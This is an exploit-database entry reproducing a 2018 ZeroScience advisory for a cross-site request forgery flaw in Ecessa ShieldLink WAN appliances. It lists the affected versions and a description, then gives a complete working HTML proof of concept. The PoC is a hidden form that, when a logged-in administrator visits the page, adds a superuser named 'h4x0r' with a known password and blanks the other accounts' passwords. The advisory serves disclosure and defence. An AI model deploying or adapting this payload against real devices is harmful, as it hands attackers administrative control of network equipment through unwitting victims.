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Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit

🗓️ 24 Jun 2018 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 545 Views

Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit. Vulnerability allows actions with administrative privileges via malicious website.

Related
Code
<!--

Ecessa ShieldLink SL175EHQ 10.7.4 CSRF Add Superuser Exploit


Vendor: Ecessa Corporation
Product web page: https://www.ecessa.com
Affected version: 10.7.4
                  10.6.9
                  10.7.4
                  10.6.5.2
                  10.5.4
                  10.2.24
                  9.2.24

Summary: Ecessa's ShieldLink 60, 175, 600,1200 & 4000 are advanced, yet highly
affordable secure WAN Optimization Controllers that incorporate all of the ISP/WAN
link.

Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.35


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5476
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5476.php


21.05.2018

--><html>
<body>
<form action="https://127.0.0.1/cgi-bin/pl_web.cgi/util_configlogin_act" method="POST">
<input name="savecrtcfg" type="hidden" value="checked"/>
<input name="user_username1" type="hidden" value="root"/>
<input name="user_enabled1" type="hidden" value="on"/>
<input name="user_passwd1" type="hidden" value=""/>
<input name="user_passwd_verify1" type="hidden" value=""/>
<input name="user_delete1" type="hidden" value=""/>
<input name="user_username2" type="hidden" value="admin"/>
<input name="user_passwd2" type="hidden" value=""/>
<input name="user_passwd_verify2" type="hidden" value=""/>
<input name="user_delete2" type="hidden" value=""/>
<input name="user_username3" type="hidden" value="user"/>
<input name="user_enabled3" type="hidden" value="on"/>
<input name="user_passwd3" type="hidden" value=""/>
<input name="user_passwd_verify3" type="hidden" value=""/>
<input name="user_delete3" type="hidden" value=""/>
<input name="user_username4" type="hidden" value="h4x0r"/>
<input name="user_enabled4" type="hidden" value="on"/>
<input name="user_superuser4" type="hidden" value="on"/>
<input name="user_passwd4" type="hidden" value="123123"/>
<input name="user_passwd_verify4" type="hidden" value="123123"/>
<input name="users_num" type="hidden" value="4"/>
<input name="page" type="hidden" value="util_configlogin"/>
<input name="val_requested_page" type="hidden" value="user_accounts"/>
<input name="savecrtcfg" type="hidden" value="checked"/>
<input name="page_uuid" type="hidden" value="df220e51-db68-492e-a745-d14adfd2f4fb"/>
<input name="form_has_changed" type="hidden" value="1"/>
<input type="submit" value="Supersize!"/>
</form>
</body>
</html>

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